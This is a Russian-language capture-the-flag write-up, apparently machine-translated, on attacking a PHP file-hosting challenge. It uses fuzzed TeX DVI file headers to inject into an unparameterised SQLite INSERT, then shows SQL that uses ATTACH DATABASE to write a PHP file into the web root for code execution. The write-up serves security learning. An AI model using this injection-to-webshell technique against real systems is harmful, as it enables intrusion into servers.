Взлом веб-приложения с помощью волшебных файлов, внедрения sqlite3 и, наконец, RCE.
Наконец (снова), минималистичное решение для хостинга файлов с открытым исходным кодом.
Задача очень минималистичная, и мне потребовалось довольно много времени, чтобы разобраться, поскольку уязвимость неочевидна с первого взгляда.

Любой файл, который вы загружаете в приложение, определяет тип файла с помощью finfo_file и сохраняет эту информацию в базе данных SQLite.
$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
Оператор вставки не параметризован; он уязвим для SQL-инъекций. Но мы не контролируем напрямую, что здесь вставляется. Он исходит из файла Finfo- ›php. Сначала я проигнорировал это и перешел к поиску дополнительных уязвимостей. Ничего не добившись в течение нескольких часов, я попытался создать набор данных из 100 000 файлов, который я могу передать в файл finfo- ›и найти любой формат файла, который позволяет нам вводить несколько байтов.
Создавать случайные файлы с помощью os.urandom и python довольно просто.
>>> import os >>> for f in range(0, 100000): ... fp = open(str(f), 'wb') ... fp.write(os.urandom(1000)) ... fp.close() ... >>>
Здесь у нас есть 100 000 файлов, каждый по 1000 случайных байтов. Я сделал PHP-скрипт, чтобы проверить, что Finfo дает нам для каждого из этих файлов:
<?php
error_reporting(3);
ini_set('display_errors', 3);
ini_set('display_startup_errors', 3);
echo "$argv[1]:".(new finfo)->file($argv[1])."\n";
Давайте запустим его на всех имеющихся у нас файлах и подождем, пока появится интересное:
find . -type f -exec php test.php {} \; > out
Бег занимает пару минут. Нам удалось провести фаззинг множества интересных форматов:
./80507:MPEG-4 LOAS, 4 or more streams ./80566:zlib compressed data ./80680:zlib compressed data ./80718:DOS executable (COM) ./80746:COM executable for DOS ./80747:COM executable for DOS ./80755:TeX DVI file (d\201\206\220z \011+>\200\331\363\022z\233\274\334\031e\362\255\214\334.\2506\333G\250o\246\300\006fa\365q\007\212\016@~UR\235r\375\254\030\014-\211\374M\321*_\241\256\301$}\x\027\366\215V\372\242#\256 #\322AS\221\0 34\346yB\335b\305:\307\301\213\354\330\177\271\230;) ./80768:DOS executable (COM, 0x8C-variant) ./80840:COM executable for DOS ./80845:PGP\011Secret Sub-key - ./80946:ATSC A/52 aka AC-3 aka Dolby Digital stream, reserved frequency,, karaoke 3 front/1 rear,, 192 kbit/s ./80963:QDOS object '' ./81058:SysEx File - ./81067:PG ./82523:COM executable for DOS ./82546:PGP\011Secret Key - ./82577:PGP\011Secret Key - ./82656:DOS executable (COM, 0x8C-variant) ./82758:DOS executable (COM, 0x8C-variant) ./82826:DOS executable (COM, 0x8C-variant) ./82836:COM executable for DOS
Но файл TeX DVI определенно выделяется. Нам нужно иметь возможность вводить случайные байты и возвращать их с помощью finfo:
root@0c653a405e70:/files# php test.php 7774 7774:TeX DVI file (ello this is aneesh'-- we have sqlite injection)
Вы можете легко отредактировать часть после заголовка, и у нас есть SQLite-инъекция :). С этого момента все идет гладко.
Примечание. У нашей полезной нагрузки есть ограничение по длине, поэтому мы не можем просто сделать это:
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<');--
мы должны разделить его и использовать минимум символов:
- Создайте файл базы данных как .php и создайте таблицу, которую мы вставим в следующую.

payload1 здесь.
2. Вставьте PHP-код в нашу таблицу и выполните «cat / *».

payload2 здесь.
Попробуем загрузить их по порядку и проверить lol.php.


Какой потрясающий вызов. Узнал много нового об инъекциях SQLite и форматах файлов. Спасибо, hxp!